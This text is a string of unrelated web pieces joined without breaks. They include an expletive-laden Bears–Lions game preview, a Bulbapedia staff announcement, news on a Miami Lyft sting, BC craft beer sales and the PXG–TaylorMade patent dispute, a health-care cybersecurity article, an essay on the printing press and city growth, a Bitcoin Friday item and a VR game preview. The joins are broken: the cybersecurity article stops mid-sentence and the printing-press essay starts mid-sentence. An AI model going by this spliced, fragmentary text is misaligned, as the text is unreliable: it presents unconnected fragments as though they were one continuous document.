Hear pop star Laura Mvula and businesswoman Jacqueline Gold, the boss of Ann Summers, talk candidly about the fears they've faced in life to get to where they've got today.After handing the Panthers an L, the Bears move on to the Lions. There has been a lot of bragging this year, around the league and particularly on NFL-related sites about the Lions. Frankly, I don’t believe the hype yet. Having made two very solid comebacks against the Vikings and Cowboys, the Lions still haven’t really been tested yet. The combined records of the teams they’ve faced thus far? 6-10. On the flip-side, the Bears’ opponent’s record is 10-6. Clearly the Lions have only played one “good” team thus far this year, the Buccaneers. And they won that game by a touchdown.
Look, I’m damned tired of hearing about how awesome the Lions are. These are the fucking Detroit Lions. They of the O for the YEAR record. They of Matt Millen, drafting wide receivers in the first round every year, blah blah blah. Yeah, they’re looking good. But so what. The last time the Lions beat the Bears, Brett Favre was still the QB in Green Bay. Yeah. Basically, I’m here to say this loud and clear: Fuck the Detroit Lions. They are who we thought they were. And we’re not gonna let ’em off the hook, Dennis Green. Not this time. Go ahead and play a shitty half of football, Detroit. I dare you. Think you can come back down 20+ points with the Bears D coming at you play after play? Please. All I gotta say is the Lions better bring it, because if they play crappy in the first half, the Bears will whoop that ass.
Without further ado, here’s the keys to the winning this game for the Bears.
First and foremost, the Bears O-line absolutely has to protect Cutler. Suh, Vanden Bosch, Fairley, and Avril are damned good at getting to the QB. If Martz gets too smart for his own good and doesn’t have Jay getting rid of the ball quickly on passing downs, the Bears will lose this game, and there’s a chance Cutler could be injured. The Lions upgraded their defense, with Fairley starting his first game this year, and having added some playmakers, in Tulloch at LB and Eric Wright at CB. Last year, it was pretty simple setting up to beat the Lions: run the ball, throw screens, and after the run is working, play-action for a big gainer. This year? Maybe not.
The second item on the ACL list of things to do to beat the Lions is running the football. As we all probably noted, our good friend Mike Martz looked like he played the fart game and lost, sitting up in the booth calling running play after running play against the Panthers. Well, guess what “Mad Mike”? Your boy Forte, AKA He Who Must Get Paid, IS the team’s offense. And he’s doing a hell of a job. So incorporate a good mix of runs, let Forte bounce outside, pull the guards, get them in front of him and set him loose. Oh, and a screen pass or 5 would be nice as well.
Thing the 3rd: Everyone is all over Stafford’s Johnson (haha, see what I did there?) this year, and rightly so. However, has Stafford faced a defensive line as good as the Bears this year? No? Hmmm, ok. We’ll see how he does with Peppers, Big Toe, Izzy, Double A, and the rest of the wrecking crew coming full-speed for him. They absolutely must get pressure on Stafford, the kid has a magic arm and fantastic pocket-awareness. Getting to him early before Megatron and the rest of the underrated Lions WR corps can get free in our porous secondary.
4th on my list? The secondary. Peanut is kind of an enigma, in that he’ll flat out suck against a small receiver like Steve Smith, but will play lights out against a bigger receiver like a Randy Moss or Megatron. Which is weird. He’s the most physical DB we have on the team, and frankly, that’s kinda sad. We need these boys to step up and step up strongly because Calvin Johnson is playing like his potential says he can. He’s damned near unstoppable.
And the final thing on my list of 5 obvious things anyone with half a brain knows: Limit turnovers and create turnovers on D. Time of possession in today’s league doesn’t mean shit. It’s all about minimizing your turnovers and maximizing your opponent’s turnovers. And the Bears must do this…AND FRIGGING SCORE A TD when they do.
Bear down, Bear nation! I expect a *gasp* SHOCKING result this week:
Bears 27, Lions 13
Yes, that’s right, I feel that strongly about this game. You heard it hear first, Bears will make the Lions “look sloppy” and as a result, the media will call it “an off game” for the Lions and say the Bears “got lucky” again.Hello everyone, it's with heavy hearts that we announce Zesty Cactus has officially retired as Bulbapedia's Deputy Editor-in-Chief. She served above and beyond expectations for the last four years in the position, and will continue assisting Bulbapedia staff in an advisory capacity. We would like to thank her for all of her efforts as Deputy Editor-in-Chief. The Deputy Editor-in-Chief position will not be left vacant, however. We are happy to announce that our Head of Anime, Pokemaster97, will be taking over where Zesty Cactus left off. Pokemaster97 will also be handing over the Head of Anime status to abcboy, and we would like to welcome him to the Editorial Board! We have a few other promotions that we are very happy to announce as well. Moving up to the Administrator level is Tiddlywinks, advancing to the Senior Administrator level is glik, and Darkeiya will be joining the Editorial Board as Bulbapedia's Head of Art. We would also like to welcome MisterE13 back to active duty as a Junior Administrator. Browse previous messagesInstagram
In Miami, a city that's fought against ride-sharing services such as Uber and Lyft, cops are running a sting to catch Lyft drivers and tow their cars, the Miami Herald's Patricia Mazzei reports.
One driver, Juan Arango, picked up an undercover cop on his first ride and was pulled over shortly after dropping the passenger off. His car was then towed. The same thing happened to another Lyft driver shortly after.
" I trusted that if the service was working in Miami, it was allowed," Arango told Miami Herald.
Lyft opened in Miami two weeks ago. Uber recently launched its lower-end service, UberX, there but their drivers haven't been fined or towed yet. So far, three Lyft drivers have reportedly been caught by Miami-Dade county police.
From Miami Herald:
The county had been fining Lyft drivers up to $2,000 each for failing to get a chauffeur registration and for operating a for-hire vehicle without a valid for-hire license — both requirements for cabbies and limo operators. Impounding Lyft drivers’ vehicles represents a significant step toward more serious penalties allowed — but not required — under the county’s legal code.
Lyft has paid for their drivers to get their cars back, cover the $2,000 fine, and for a lawyer to fight the charges.
More From Business InsiderStorm Brewing owner James Walton produces beers such as a wormwood India pale ale, an iced mocha stout and a vanilla whisky stout
Dozens of new and planned B.C. microbreweries have combined with substantial investments in existing craft brewers to tap accelerating growth in B.C. craft beer sales.
Domestic microbrewers, or breweries that sold less than 1.5 million litres annually, sold $67.4 million in B.C. in the year that ended June 30, according to BC Liquor Distribution Branch (BCLDB) data. That's 43.4% more than the previous year.
Their sales picked up as the year progressed, as they sold 59.1% more beer than in 2014's second quarter compared with the same three-month period in 2013.
Packaged beer led the way with 62.7% growth in the quarter compared with a 53.7% increase in draft beer sales.
“The trend toward craft beer started slowly, but clearly it's gaining momentum,” said Steamworks owner Eli Gershkovitch.
Sales have risen dramatically at his brewery, which has evolved from a microbrewery into a medium-sized player.
Gershkovitch invested millions of dollars late last year so he could open a 30,000-square-foot brewery in Burnaby near Boundary Road. He is now producing about five million litres of beer at that facility as well as 150,000 litres annually at his longtime location on Water Street.
Sales for new businesses are also growing. According to the BC Craft Brewers Guild, about 10 new microbreweries opened last year. That number could be surpassed this year, given that 21 small breweries earlier this year had plans to open in either 2014 or 2015.
“People like beer with flavour, and we craft brewers are doing innovative flavourful beers,” said Gershkovitch, who has had success this summer with a new cucumber beer.
Longtime microbrewers such as Storm Brewing owner James Walton agree. He has long been known for pushing the flavour envelope. Some of his new brews include the Storm Wormwood India Pale Ale (IPA), which uses B.C.-grown wormwood to create a distinctive bitterness, unlike most IPAs, which rely solely on hops for bitterness.
“We have a beer made with locally sourced cranberry,” Walton said. “There's a grapefruit beer, the Storm Mojito Pilsner, an iced mocha stout and a vanilla whisky stout.”
Meanwhile, sales for big domestic brewers, which produce more than 16 million litres of beer annually, have dropped for the sixth consecutive year.
In 2008, their combined sales were $842.9 million. That number has dropped steadily each year. In the fiscal year ended June 30, their sales were $717.9 million, down 14.8% from 2008.
The BCLDB first reported total B.C. microbrewery sales in 2009, when the sector generated $22.4 million, or 66.8% less than last year.SooToday.com received the following letter and photo from loyal reader and proud supporter of the White Pines Science Olympics team Marnie Lang. She wanted to share the team's success with SooToday.com's readers.
SooToday.com received the following letter and photo from loyal reader and proud supporter of the White Pines Science Olympics team Marnie Lang.
She wanted to share the team's success with SooToday.com's readers.
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On Tuesday, December 4, 2012 the second annual Science Olympics competition was held at Algoma University, in conjunction with Science North.
It is a competition between local high school students, where teams of four complete a series of hands-on activities that test their scientific skills, including biology, chemistry and engineering.
It was apparent throughout the day that all of the students, who numbered close to 100 were having fun applying their knowledge and problem solving skills in creative ways.
The senior gold medal-winning team from White Pines consisted of Karly Janisse, Leah Hodgson, Sophia Greco and Emily Aleksa.
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Disclaimer: The content supplied by readers as "Letters to the Editor" on SooToday.com does not in any way, shape or form, implied or otherwise, necessarily express or suggest endorsement or support of any of such content, statement, or opinions therein. SooToday.com does not necessarily adhere to or endorse content provided by outside non-staff sources.If you were wondering why PXG might have failed to win its request for a temporary restraining order banning the sale of TaylorMade’s P790 irons, there are some powerful—and sort of funny—words from TaylorMade’s recently released legal filings from last week that not surprisingly make the case the P790 irons do anything but infringe on PXG’s patents. In the lawsuit filed two weeks ago in U.S. District Court in Arizona, PXG asserts that the TaylorMade’s irons violate eight PXG-held patents. The patents cover PXG’s iron design concepts, which include a hollow design supported internally by an elastic polymer and featuring tungsten weight ports around the iron’s perimeter. U.S. District Judge John J. Tuchi denied PXG’s request for a temporary restraining order late last Friday, the first day the TaylorMade irons were at retail. Some of the highlights of TaylorMade’s 603-page response to PXG’s argument for the TRO: “...[A]lthough PXG peppers its brief with unsupported accusations of supposed copying by TaylorMade, there is zero evidence of copying. None. The accused product is so different from the patented invention that if, contrary to the facts, there had been any effort to copy, the effort failed miserably.”
The TaylorMade response, filed by attorneys from Sterne, Kessler, Goldstein and Fox in Washington, D.C., and Beuss Gilbert in Phoenix, disputes PXG’s patents as being valid in the first place, toting out this gem: “PXG describes the claimed hollow-bodied design filled with an elastic polymer, and perimeter weighting, as a ‘eureka moment’ in golf-iron design. That could have been a ‘eureka moment’ only for a golf-club designer who had been living in a cave for the past 25 years, for both (1) hollow-bodied designs filled with elastic polymers and (2) perimeter weighting have been well-known expedients in clubhead design for decades …”
TaylorMade’s lawyers also cite a number of past clubs it calls “devastating items of prior art.” (“Prior art” is a legal phrase in patent law referring to past public examples of products or ideas that pre-date an idea or product and dispute its claim of being an original idea.) TaylorMade’s lawyers suggest they found past TaylorMade irons (R9 and RBladez Max) that feature hollow designs with perimeter weights “in just the less than 48 hours since it has had access to PXG’s motion papers. The prior art thicket in this area is likely to yield yet more examples revealing that the claimed invention is neither new nor non-obvious.”
Furthermore, TaylorMade’s lawyers cite a company patent for an iron with “an enclosed cavity” and “a filler material” that was applied for initially in 2009 and issued in early 2012. (The PXG patents in question were granted between February 2015 and June 2017.)
A full transcript of last week’s TRO hearing is not yet available, but a redacted version is expected to be released next month.
A PXG spokeswoman declined to comment on the TaylorMade’s legal response.
Meanwhile, the hearing for PXG’s request for a preliminary injunction against TaylorMade, originally scheduled for Nov. 14, is now a source of contention. PXG is requesting a delay for that hearing until Dec. 20-21 in part because Parsons is traveling internationally in November. PXG’s lawyers, from Loeb and Loeb in Chicago and Jenning, Strouss & Salmon in Phoenix, also suggested a lack of full cooperation from TaylorMade. That includes a request from PXG for TaylorMade to provide “engineering and/or manufacturing specifications, final product design specification documentation, final 3D CAD files, etc.” for the P970 irons. TaylorMade’s lawyers claim PXG has been offered access to prior art clubs to examine on its own, but “PXG has not acted on this offer.”
TaylorMade’s lawyers responded that while they did not oppose the extension, they still preferred the November date because, in part, “PXG has not explained why it needs the additional information its seeks to establish infringement.”
UPDATE: According to U.S. District Court documents filed this week, PXG withdrew its motion for a preliminary injunction against TaylorMade and its request was subsequently granted by Tuchi. This eliminates the questions of scheduling, of course, although it more likely means that PXG will focus on the main patent infringement case against TaylorMade rather than trying to prevent the sale of P790 irons. According to Arthur Gollwitzer III, a patent lawyer at Michael Best and Friedrich who recently was part of the legal team that was successful representing golf retailers in a patent infringement case, PXG may have been swinging for the fences with the initial strategy of a temporary restraining order and preliminary injunction. “Obtaining a TRO or even a preliminary injunction is very rare in a patent case,” he wrote in an email to Golf World. “Now that the court denied the TRO, PXG probably has decided that preparing for and conducting a preliminary injunction hearing is not worth the trouble or expense, i.e., this TRO and injunction strategy was a pressure tactic. I suspect PXG knew this was a long shot strategy, like hitting the second shot over the water to the green in Tin Cup, but instead having the good sense to take a drop after it failed.” In other words, PXG is removing the risk of losing a second argument for its position (after already losing at the hearing for the TRO). Since the patent case may be many months before it proceeds to trial, PXG will now have more time to prepare its case in the patent infringement argument. Of course, so will TaylorMade. As of Friday morning, PXG officials had not returned requests from Golf World for comment on their motion to withdraw the request for a preliminary injunction.
Stay tuned. This case is either going to get meaner or funnier or both.
RELATED: PXG files patent-infringement suit against TaylorMade over irons
WATCH: GOLF DIGEST VIDEOSIn February 2015, Anthem made history when 78.8 million of its customers were hacked. It was the largest health care breach ever, and it opened the floodgates on a landmark year. More than 113 million medical records were compromised last year, according to the Office of Civil Rights (OCR) under Health and Human Services. Consider it this way: if each case represented a single individual, one in three Americans would have been a victim.
This year looks tame by comparison, but it’s only March, and 3.5 million medical records have already been compromised. Based on this this list from the U.S. Department of Health and Human Services, the health care industry has averaged close to four data breaches per week in 2016 so far.
“If you think about it, that’s pretty bad, because we all interact with the health care system,” computer scientist and information security expert Avi Rubin said while discussing the state of hospital cybersecurity at the USENIX Enigma Conference in January.
Before becoming director of the Johns Hopkins University Health and Medical Security Lab, Rubin provided cybersecurity for companies across many industries. Banks. Car-rental companies. Retail stores. You name it. But the health care sector was the “absolute worst” in terms of cybersecurity problems, he said.
“Their data security practices were so far below every other industry,” Rubin said.
Indeed, the health care sector ranked second in U.S. data breaches in 2015 and placed in the top 10 on Verizon’s global hacking report.
What does this look like on the frontlines? Boston’s Beth Israel Deaconess gets hacked every seven seconds, the hospital’s CIO John Halamka reportedly said at South by Southwest two weeks ago. In 2011, cybercriminals in China stole 2,000 patient X-rays from Beth Israel Deaconess. Halamka said the scans are often sold to Chinese nationals who can’t pass health exams for travel visas.
Still, medical cybersecurity gets little attention in mainstream conversations, such as on the campaign trail. The words “hack,” “cyber attack” and “cyber warfare” have only been mentioned 16 times during the major Republican presidential debates. The record is even worse for Democratic candidates, with only a single utterance of “cyber warfare” by Senator Jim Webb during the October 13 debate. Neither party has used any of these terms in the context of health care cybersecurity during the primary debates.
But here are three reasons why everyone should care.
1. Your health records have become currency
Health care hacking has mushroomed into a multi-billion doIlar trade.
Photo by Fanatic Studio via Getty Images
“Electronic health records are 100 times more valuable than stolen credit cards,” said James Scott, co-founder and senior fellow at the Institute for Critical Infrastructure Technology (ICIT) in Washington D.C. Members of Scott’s institute hold regular meetings between lawmakers and tech experts to foster cybersecurity policy. While numerous safeguards exist for financial information, fewer protections exist for health data, which is much more valuable, Scott said.
“With credit cards, the money is insured. If the bank is FDIC-backed, most people who have their credit card numbers stolen won’t actually lose the money. The bank makes up the difference,” Scott said. “But with electronic health records, the reason that hospitals and insurance companies are such a big target, first, is because of the payoff.”
A single Medicare or Medicaid electronic health record can fetch a $500 price tag on darkweb forums, Scott said. Experian, the global information service, estimates that health records are worth up to 10 times more than credit card numbers on the black market.
“If you purchase 100 electronic health records, you have everything for each of those people—social security number, all the addresses, their kids, their jobs,” Scott said. “Malicious actors want as much intelligence as they can get, and health care is the easiest attack surface for seasoned and non-seasoned hackers.”
Data breaches cost the healthcare industry an estimated $5.6 billion per year.
2. Your hospital cybersecurity might be leaky
Health care occupies a vulnerable cybersecurity space. With the rise of health frackers, self-care and personalized medicine, people, doctors and regulators want easier modes of access to patient data. The dangers come from opening huge highways for sharing and storing data without the proper digital protections, Rubin said.
As an experiment designed to identify vulnerabilities, Independent Security Evaluators spent the last two years trying to penetrate the cybersecurity of 12 health care facilities and two health care data centers in the United States. Don’t worry; they were hired for this purpose.
At one hospital, the team hacked a computerized medicine dispensary by littering several floors with 18 malware-containing USB sticks. Each USB had the hospital’s logo, which may have been enough to convince an unwitting employee to use one. If the hack had been malicious, then the attacker could have altered the drug dosages, a potentially life-threatening scenario for a patient. At another hospital, they utilized an unguarded lobby kiosk to access the bloodwork records of patients, which in theory, could have been switched to yield improper treatment.
Locations of the medical facilities targeted in the Independent Security Evaluators study.
Photo by Independent Security Evaluators
Websites are another avenue for cybercriminals, according to Independent Security Evaluators. The team pretended to be a patient logging on to an electronic health record website, but they filled the patient information fields with malicious code. When an unsuspecting administrator—a doctor or a nurse—viewed this new patient information the malicious code was installed, inadvertently granting a hacker “the full ability to modify the health records of all patients in the database,” Independent Security Evaluators wrote in a report published February 23.
Patients also carry these vulnerabilities with them, in the form of smartphone health apps. A survey of 211 diabetes apps in the Google Play store found that 81 percent lacked privacy policies. Of the remaining 41 apps with privacy policies, 25 apps (61 percent) would share user data if required by law; 20 apps (48.8 percent) shared user data with third parties; and 16 apps (39 percent) permitted user data to used for advertising purposes.
“This study demonstrated that diabetes apps shared information with third parties, posing privacy risks, because there are no federal legal protections against the sale or disclosure of data from medical apps to third parties,” the study’s authors from the Illinois Institute of Technology Chicago-Kent College of Law wrote. “Patients might mistakenly believe that health information entered into an app is private (particularly if the app has a privacy policy), but that generally is not the case. Medical professionals should consider privacy implications prior to encouraging patients to use health apps.”
Rubin recommended policies like encrypting all patient data, limiting who has permission to view medical charts to prevent breaches at hospitals and multifactor authentication. The number of searches placed into hospital databases should also be monitored, he said, to catch instances when hackers might be downloading large batches of health records at once.
3. You might be missing the biggest flaw in your cybersecurity.
Did human error lead to a cyber attack in February that crippled the electronic database at Hollywood Presbyterian Medical Center (pictured) for days, forcing doctors at the Los Angeles hospital to rely on telephones and fax machines to relay patient information.
Credit: Junkyardsparkle/Wikimedia Commons
That’s because the biggest flaw in your cybersecurity is probably you.
The ongoing plague of ransomware is a great example. Ransomware holds hostage a victim’s computer or digital files by encrypting them, and it has existed in various forms since 1989. However, the latest incarnation—crypto ransomware—has spread like wildfire |
technology.
New city-level data
In recent work (Dittmar 2010a), I examine the revolution in Renaissance information technology from a new perspective by assembling city-level data on the diffusion of the printing press in 15th-century Europe. The data record each city in which a printing press was established 1450-1500 – some 200 out of over 1,000 historic cities (see also an interview on this site, Dittmar 2010b).
The research emphasises cities for three principal reasons.
First, the printing press was an urban technology, producing for urban consumers.
Second, cities were seedbeds for economic ideas and social groups that drove the emergence of modern growth.
Third, city sizes were historically important indicators of economic prosperity, and broad-based city growth was associated with macroeconomic growth (Bairoch 1988, Acemoglu et al. 2005).
Figure 1 summarises the data and shows how printing diffused from Mainz 1450-1500.
Figure 1. The diffusion of the printing press
The association between printing and city growth
City-level data on the adoption of the printing press can be exploited to examine two key questions:
Was the new technology associated with city growth?
And, if so, how large was the association?
I find that cities in which printing presses were established 1450-1500 had no prior growth advantage, but subsequently grew far faster than similar cities without printing presses. My work uses a difference-in-differences estimation strategy to document the association between printing and city growth. The estimates suggest early adoption of the printing press was associated with a population growth advantage of 21 percentage points 1500-1600, when mean city growth was 30 percentage points. The difference-in-differences model shows that cities that adopted the printing press in the late 1400s had no prior growth advantage, but grew at least 35 percentage points more than similar non-adopting cities from 1500 to 1600.
Diffusion of the new technology
Printing presses were not set down at random across European cities. Cities that adopted the printing press 1450-1500 subsequently enjoyed unusual dynamism. Did printers simply pick locations that were already bound for growth? This question can be addressed by exploiting supply-side constraints that limited the diffusion of the technology over the infant industry period.
The movable type printing press was developed by Johannes Gutenberg and his business partners in Mainz, Germany around 1450. Printing was from the outset a for-profit enterprise. But over the period 1450-1500, technical barriers limited entry on the supply side.
The key innovation in printing – the precise combination of metal alloys and the process used to cast the metal type – were trade secrets. The underlying knowledge remained quasi-proprietary for almost a century. The first known “blueprint” manual on the production of movable type was only printed in 1540. Over the period 1450-1500, the master printers who established presses in cities across Europe were overwhelmingly German. Most had either been apprentices of Gutenberg and his partners in Mainz or had learned from former apprentices. Thus a limited number of printers brought the technology from Mainz to other cities.
The restrictions on diffusion meant that cities relatively close to Mainz were more likely to receive the technology other things equal. Printing presses were established in 205 cities 1450-1500, but not in 40 of Europe’s 100 largest cities. Remarkably, regulatory barriers did not limit diffusion. Printing fell outside existing guild regulations and was not resisted by scribes, princes, or the Church (Neddermeyer 1997, Barbier 2006, Brady 2009).
An instrumental-variable approach
Historians observe that printing diffused from Mainz in “concentric circles” (Barbier 2006). Distance from Mainz was significantly associated with early adoption of the printing press, but neither with city growth before the diffusion of printing nor with other observable determinants of subsequent growth. The geographic pattern of diffusion thus arguably allows us to identify exogenous variation in adoption. Exploiting distance from Mainz as an instrument for adoption, I find large and significant estimates of the relationship between the adoption of the printing press and city growth. I find a 60 percentage point growth advantage between 1500-1600.
The importance of distance from Mainz is supported by an exercise using “placebo” distances. When I employ distance from Venice, Amsterdam, London, or Wittenberg instead of distance from Mainz as the instrument, the estimated print effect is statistically insignificant.
Positive spillovers
Cities that adopted print media benefitted from positive spillovers in human capital accumulation and technological change broadly defined. These spillovers exerted an upward pressure on the returns to labour, made cities culturally dynamic, and attracted migrants.
In the pre-industrial era, commerce was a more important source of urban wealth and income than tradable industrial production. Print media played a key role in the development of skills that were valuable to merchants. Following the invention printing, European presses produced a stream of math textbooks used by students preparing for careers in business. The first known printed mathematics text is the Treviso Arithmetic (1478). It begins:
“I have often been asked by certain youths...who look forward to mercantile pursuits, to put into writing the fundamental principles of arithmetic...Here beginneth a Practica, very helpful to all who have to do with that commercial art.”1
The first Portuguese arithmetic (1519) opens in similar fashion:
“I am printing this arithmetic because it is a thing so necessary in Portugal for transactions with the merchants of India, Persia, Ethiopia, and other places.”2
These and hundreds of similar texts worked students through problem sets concerned with calculating exchange rates, profit shares, and interest rates.
Broadly, print media was also associated with the diffusion of cutting-edge business practice (such as book-keeping), literacy, and the social ascent of new professionals – merchants, lawyers, officials, doctors, and teachers.
Local effects in a world with trade
Cities with printing presses enjoyed special advantages. Two key factors explain the localisation of positive spillovers.
First, positive spillovers were localised by high transport costs historically associated with inter-city trade. Print media was especially costly to transport because it was heavy and sensitive to damp. This limited the diffusion of print media. According to Flood (1987, p.25), “Outside the towns where books were printed or which were main centres of the burgeoning book trade the public were dependent on what itinerant traders offered them and on word of mouth.” As a result, shadow prices were often exceedingly high in cities without printing presses. Moreover, transport costs fostered co-agglomeration. The printing press attracted paper mills, illuminators, translators, students, and schools.
The second factor behind the localisation of spillovers is intriguing given contemporary questions about the impact of information technology. The printing press made it cheaper to transmit ideas over distance, but it also fostered important face-to-face interactions. The printer’s workshop brought scholars, merchants, craftsmen, and mechanics together for the first time in a commercial environment, eroding a pre-existing “town and gown” divide. The technology produced not just books, but also in the printer-scholar, “a ‘new man’...adept in handling machines and marketing products even while editing texts, founding learned societies, promoting artists and authors, [and] advancing new forms of data collection” (Eisenstein 1979, 250-251). These effects transformed intellectual and business landscapes at the local level.
Information technology, cities, and capitalism
The printing press was one of the greatest revolutions in information technology. The impact of the printing press is hard to identify in aggregate data. However, the diffusion of the technology was associated with extraordinary subsequent economic dynamism at the city level. European cities were seedbeds of ideas and business practices that drove the transition to modern growth. These facts suggest that the printing press had very far-reaching consequences through its impact on the development of cities.
References
Acemoglu, Daron, Simon Johnson, and James Robinson (2005), “The Rise of Europe: Atlantic Trade”, American Economic Review, 95:546-579.
Bairoch, Paul (1988), Cities and Economic Development, Chicago; University of Chicago.
Barbier, Frédéric (2006), L’Europe de Gutenberg: Le Livre et L'Invention de la Modernité Occidentale, Belin.
Brady, Tom (2009), German Histories in the Age of Reformations, 1400-1650, Cambridge University Press.
Clark, Gregory (2001), “The Secret History of the Industrial Revolution”, UC Davis working paper..
Dittmar, Jeremiah (2010a), “Information Technology and Economic Change: The Impact of the Printing Press”, forthcoming at Quarterly Journal of Economics.
Dittmar, Jeremiah (2010b), “Information technology and economic change: The impact of the printing press”, VoxEU.org interview by Romesh Vaitilingam, 1 October.
Eisenstein, E (1979), The Printing Press as an Agent of Change: Communications and Cultural Transformations in Early-Modern Europe, Cambridge University Press.
Febvre, Lucien and Henri Martin (1958), L’Apparition du Livre, Albin Michel.
Glaeser, Edward and Albert Saiz (2003), “The Skilled City”, NBER Working Paper No. 10191.
Mokyr, Joel (2005), “The Intellectual Origins of Modern Economic Growth”, Journal of Economic History, 65(2):285-351.
Neddermeyer, Uwe (1997), “Why were there no riots of the scribes?”, Gazette du livre médiéval, 31:1-8.
Roberts, John (1996), A History of Europe, Penguin.
Rolewinck, Werner (1474), Fasciculus Temporum (Cologne), quoted in Febvre and Martin (1958).
Swetz, F (1987), Capitalism and Arithmetic: The New Math of the 15th Century, La Salle, IL; Open Court.
van Zanden, Jan Luiten (2010), “Before the Great Divergence: The modernity of China at the onset of the industrial revolution”, VoxEU.org, 26 January.
1 Reproduced in Swetz (1987), p. 40.
2 Cited in Swetz (1987), p. 25.More than 50 Bitcoin merchants are banding together for their own version of Black Friday in a bid to stimulate the virtual currency economy.
Black Friday has become an annual event in the US, taking place the day after Thanksgiving, with stores opening early and holding sales to mark the beginning of the Christmas shopping season.
As many as 75 merchants are expected to participate in the copycat Bitcoin Friday, to be held this week, slashing their prices, holding 'Bitcoin parties' and offering customers new to the currency instruction, assistance and tools to make transactions.
The event is the brainchild of precious metals trader Coinabul.com, Bitcoin exchange Mt.Gox and merchant services provider BitPay.
Coinabul says that the although Bitcoin has grown a lot, with nearly a million clients online, less than a quarter of all coins are actually being spent, with 78% left sitting stagnant. The firm hopes that Bitcoin Friday will serve as a stimulus and get some of those stale coins circulating.At its annual fan convention, CCP showed off two things from Valkyrie: a playable multiplayer demo, and a gameplay trailer from a dynamic, truly gorgeous single-player training mission. If you haven't seen that video yet, you should watch it right now:
Leaving the single-player mission to one side -- CCP isn't letting anyone play it, unfortunately -- the multiplayer demo showcases the core of Valkyrie: dogfighting. Gameplay, at its simplest, involves flying around and shooting any ship that's flagged as hostile. Of course, there are variables and additional layers like turrets and drones that will aid you in battle, but the objective is almost always to destroy enemy spaceships. It's definitely not the type of game I'd usually be drawn to, but playing a few rounds of Valkyrie with a VR headset was enough to win me over.
OMG I'm in a spaceship
Valkyrie's strength is in its presentation. There's no real standard for what VR games should look or feel like, and CCP has put a lot of work into getting things right. You're given a first-person view, looking out through the cockpit of a spaceship. There are no overlaid maps or radar readouts crammed into the corners of your display. Instead, the interface is the spaceship. Shield levels and ship health are displayed through bars of light projected onto your ship's front window. Details on your chosen target can be found on a dedicated screen above the (virtual) flight controls. Readouts on additional, less crucial equipment sit elsewhere in the cockpit, at the periphery of your vision. It's a system that wouldn't make sense if this game wasn't played on a VR headset, but because it is, it works really well.
This is what you see looking straight out of the cockpit.
The carefully considered UI had me fully immersed before I'd even launched into outer space. Every battle starts with a countdown to launch inside a larger ship. If you want to, you can look all around your ship in relative safety, including what's directly behind you. There are some neat little details there, like a little "clean me" message etched into the dirt of one of the side windows.
Playing on a PC with the Oculus Rift and a wired Xbox controller, piloting the ship is dead simple. If you're even a casual gamer, you'll be flying around with ease in no time at all. Actually shooting and targeting ships takes a little longer to get used to. In the ship class I chose (Wraith, the standard fighter) I had two options for destroying my foes, both based on line of sight. The standard weapon is a machine gun, and because your crosshairs are centered, you need to move your head around while steering the ship in order to effectively target enemies. The secondary weapon is harder to use, as you have to keep the enemy firmly in your crosshairs for a few seconds in order for your systems to lock on and fire away high-damage missiles.
Here, the player is aiming at an enemy to the left of center, which puts half of the UI out of view.
Once I grasped this line-of-sight offensive gameplay, the interface turned from beautiful into genius. I was either aiming at a fighter or checking if my defensive turret was ready to shoot down an incoming missile. I was barrel rolling away, looking helplessly for an aggressive enemy I couldn't see, or keeping tabs on my rapidly depleting shield levels. Just like in real life, you can't focus on multiple things at once. It's captivating.
CCP wants to build the world's first AAA-quality game for VR.
Granted, I've only experienced a single game mode, and a single map, but for what's described as a "pre-alpha build," Valkyrie is ludicrously polished already. CCP is aiming to make the world's first AAA game for VR, perhaps not in budget, but certainly in terms of quality. Now that the core mechanics are in place, the task is to add all the progression and game modes needed for long-term success, and it's reaching out to eSports professionals to build in the addictive hooks and balanced gameplay necessary for competitive multiplayer games to thrive.
From demo to game
On its own, the demo is impressive. It's definitely the best VR experience I've had in the three years since I put on the first Oculus Rift prototype. But it still felt like just that: an experience, a fragment of a potential game (albeit a very good one) to add to a long list of cool stuff that VR can do. It wasn't until I saw the single-player footage, and talked to the team behind the demo, that I truly understood the potential for Valkyrie, and what CCP wants to achieve with this game.
The footage from the gameplay trailer is from the first single-player level that introduces the world and its characters. It's one of a number of training missions that are being created to orient players in the game's intricacies, rather than throwing them straight to the wolves.
"For me, the new player experience is more about that awesome 'wow' moment and the excitement without them being totally nailed by other players straight away," explains Owen O'Brien, executive producer for Valkyrie. There's some continuity between the early single-player missions and the multiplayer experience as well: The aftermath of the battle shown in the gameplay trailer, for example, becomes the debris-strewn map I tried in the demo.
Right now, the official line is that the game's multiplayer modes will be competitive and simple, much like the demo I played. But O'Brien's team has more ambition. They're trying to bring those early game "wow" moments to the multiplayer modes, as well. "We're trying to work out how to make that work," says O'Brien. I retort: "But that's not going to be ready for launch, right?" To which he replies, "We'll see; I want it pretty bad."
I want it pretty bad too. I'd buy Valkyrie regardless, for sure. The single-player training missions look solid, as do the multiplayer dogfights, but a title that encompasses both is a way more compelling proposition.
Banking on success
While Oculus Rift has been by far the loudest voice in VR so far, it could be argued that Sony has the best shot at bringing VR to the mainstream right now. There are already over 20 million PlayStation 4 owners out there who only need to buy one of the company's Morpheus headsets to be VR-ready. It's a low bar of entry for an already captive audience, but gamers will only buy into Morpheus if great experiences are there to be had. CCP wants Valkyrie to be that experience. "We want to be the Halo or Mario for the Morpheus and Oculus," says O'Brien. "I'm biased, obviously.... Time will tell."
"We want to be the 'Halo' or 'Mario' for [VR]."
I ask O'Brien how CCP will achieve that goal. Will we see Valkyrie bundled with headsets? "I would love as many people as possible to have access to Valkyrie. Whether that's an option or not at this stage I can't really say, but we have a very good relationship with Sony; we're a launch title with Morpheus.... We're going to be very prominent."
Sony's Project Morpheus headset.
CCP could be launching Valkyrie from stronger footing. CEO Hilmar Pétursson describes Eve Online subscription numbers as "stable now." Not growing, not boisterous, but stable. And "now," implying that, for a while at least, they weren't. Subscriptions are CCP's primary source of income, and with the cancellation of World of Darkness (and the resulting write off), one thing that definitely isn't boisterous is the company's bank balance.
CCP has learned a lot from past failures, says Pétursson. Rather than throwing all of its resources at Valkyrie, it's being made by a team of around 30 people, "a similar size" to the whole of CCP when it first built Eve Online over a decade ago. I ask Pétursson if CCP can afford another failure, or if Eve Online's future is tied to Valkyrie's success. He says that it can, that CCP has "a good financial standing to take some risks." It's hard to believe there won't be some knock-on effect if everything falls apart.
The importance of Valkyrie could be seen at the company's Fanfest, an annual event that invites players and press alike to see what's new from CCP. While Eve Online was still the focus of most of the smaller developer roundtables, it's Valkyrie and the promise of VR that owned the opening keynote, and it's Valkyrie that attendees were encouraged to play on-site.
